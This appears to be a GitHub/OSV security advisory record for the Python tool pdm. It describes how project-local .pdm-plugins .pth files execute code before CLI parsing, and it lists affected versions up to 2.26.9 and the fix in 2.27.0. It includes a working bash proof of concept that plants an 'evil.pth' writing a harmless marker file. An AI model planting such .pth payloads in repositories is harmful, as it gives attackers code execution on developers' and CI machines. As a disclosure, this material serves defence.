Vulnerabilities in pkg:pypi/pdm

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-qq6c-99pv-prvf",
  "modified" : "2026-06-11T13:25:28Z",
  "published" : "2026-06-11T13:25:28Z",
  "aliases" : [ "CVE-2026-47781" ],
  "summary" : "PDM: Project-Controlled `.pdm-plugins` Content Executes Before CLI Parsing",
  "details" : "## Summary\n\nPDM automatically loads project-local plugin paths from `.pdm-plugins` during `Core` initialization. Because this path is added via `site.addsitedir()`, attacker-controlled `.pth` files inside the project plugin directory are processed and can execute Python code before normal CLI handling begins.\n\nThis allows arbitrary code execution with the privileges of the user running `pdm` from an untrusted repository checkout.\n\n## Affected Behavior\n\n- Trigger does not require `pdm install --plugins`\n- A low-impact command such as `pdm --version` is sufficient\n- Impact is strongest in CI, privileged shells, and automation contexts\n\n## Affected Code\n\n- `src/pdm/core.py:74-82`\n- `src/pdm/core.py:310-333`\n- `src/pdm/core.py:335-352`\n\n## Technical Details\n\n`Core.__init__()` calls `load_plugins()` before ordinary command execution. `load_plugins()` calls `_add_project_plugins_library()`, which derives the project-local `.pdm-plugins` library path and adds it through `site.addsitedir()`.\n\nOn CPython, `site.addsitedir()` processes `.pth` files found in the added directory. `.pth` lines beginning with `import ` are executed immediately. This creates a trust-boundary break: project-controlled files execute before the user explicitly opts into plugin installation or plugin loading.\n\n## Impact\n\n- Arbitrary code execution as the invoking user\n- Potential credential theft, persistence, or workspace tampering\n- Potential privilege escalation when `pdm` is run via `sudo`, root-owned CI jobs, or privileged service accounts\n\n## Reproduction\n\nPoC:\n\n```bash\n# Replace this with a Python interpreter that can run `python -m pdm`.\nPDM_PY=/path/to/python-with-pdm\ntmpdir=$(mktemp -d)\n\ncat > \"$tmpdir/pyproject.toml\" <<'EOF'\n[project]\nname = \"plugin-autoload-demo\"\nversion = \"0.0.1\"\nEOF\n\npurelib=$(TMPDIR_ROOT=\"$tmpdir/.pdm-plugins\" \"$PDM_PY\" - <<'PY'\nimport os\nimport sys\nimport sysconfig\n\nbase = os.environ[\"TMPDIR_ROOT\"]\nscheme_names = sysconfig.get_scheme_names()\nif (sys.platform == \"darwin\" and \"osx_framework_library\" in scheme_names) or sys.platform == \"linux\":\n    scheme = \"posix_prefix\"\nelif sys.version_info < (3, 10):\n    scheme = \"nt\" if os.name == \"nt\" else \"posix_prefix\"\nelse:\n    scheme = sysconfig.get_default_scheme()\nreplace_vars = {\"base\": base, \"platbase\": base}\nprint(sysconfig.get_path(\"purelib\", scheme, replace_vars))\nPY\n)\n\nmkdir -p \"$purelib\"\nmarker=\"$tmpdir/plugin-autoload-marker.txt\"\nprintf '%s\\n' \"import pathlib; pathlib.Path(r'$marker').write_text('project plugin autoload executed', encoding='utf-8')\" > \"$purelib/evil.pth\"\n\n(\n  cd \"$tmpdir\" &&\n  \"$PDM_PY\" -m pdm --version\n)\n\ncat \"$marker\"\n```\n\nExpected result:\n\n- A temporary project is created\n- An `evil.pth` file is placed under `.pdm-plugins`\n- Running `pdm --version` creates a marker file before CLI exit\n\nObserved output from local validation:\n\n```text\nPDM, version 2.26.9\n\n--- marker ---\nproject plugin autoload executed\n```\n\n## Severity\n\nHigh\n\n## CVSS v4.0\n\n- Base score: `8.4` (`High`)\n- Vector: `CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N`\n\nRationale:\n\n- `AV:L`: exploitation occurs through local execution of `pdm` against attacker-controlled repository content\n- `AC:L`: no special bypass or race is required\n- `AT:N`: no external precondition beyond the vulnerable workflow is required\n- `PR:N`: the attacker does not need privileges on the victim host\n- `UI:A`: the victim must actively run a `pdm` command in the malicious checkout\n- `VC:H/VI:H/VA:H`: successful exploitation yields arbitrary code execution as the invoking user\n- `SC:N/SI:N/SA:N`: the score is kept to same-system impact only\n\n## Root Cause\n\nProject-local plugin paths are implicitly trusted and loaded too early, and `.pth` processing is inherited from `site.addsitedir()`.\n\n## Recommended Remediation\n\n- Do not auto-load project-local `.pdm-plugins` by default\n- Avoid `site.addsitedir()` for project-controlled plugin paths\n- If project plugins must be supported, require explicit opt-in such as `--enable-project-plugins`\n- Explicitly prevent `.pth` execution when loading project plugin paths\n\n## Disclosure Notes\n\nThis issue is a strong standalone CVE candidate because it yields direct code execution from repository-controlled files without requiring the victim to run a project script explicitly.",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "pdm"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "2.27.0"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 2.26.9"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/pdm-project/pdm/security/advisories/GHSA-qq6c-99pv-prvf"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/pdm-project/pdm"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/pdm-project/pdm/releases/tag/2.27.0"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-94" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-06-11T13:25:28Z",
    "nvd_published_at" : null
  }
}